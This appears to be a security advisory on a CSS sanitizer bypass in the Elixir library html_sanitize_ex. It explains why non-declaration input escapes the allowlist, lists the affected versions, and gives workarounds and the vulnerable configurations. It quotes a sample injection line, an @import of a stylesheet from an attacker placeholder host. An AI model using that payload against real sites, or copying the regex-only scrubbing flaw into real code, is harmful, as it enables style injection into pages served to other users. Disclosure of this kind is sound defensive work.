Description

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Summary

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

Workaround

Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow elements, or define a custom scrubber that omits it.

A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.

Configuration

Only HtmlSanitizeEx.html5/1, and custom scrubbers declared with use HtmlSanitizeEx, extend: :html5, permit elements, and the sanitized output must be rendered to other users. Applications calling HtmlSanitizeEx.Scrubber.CSS.scrub/1 directly are also affected.

Mitigation

Aliases

References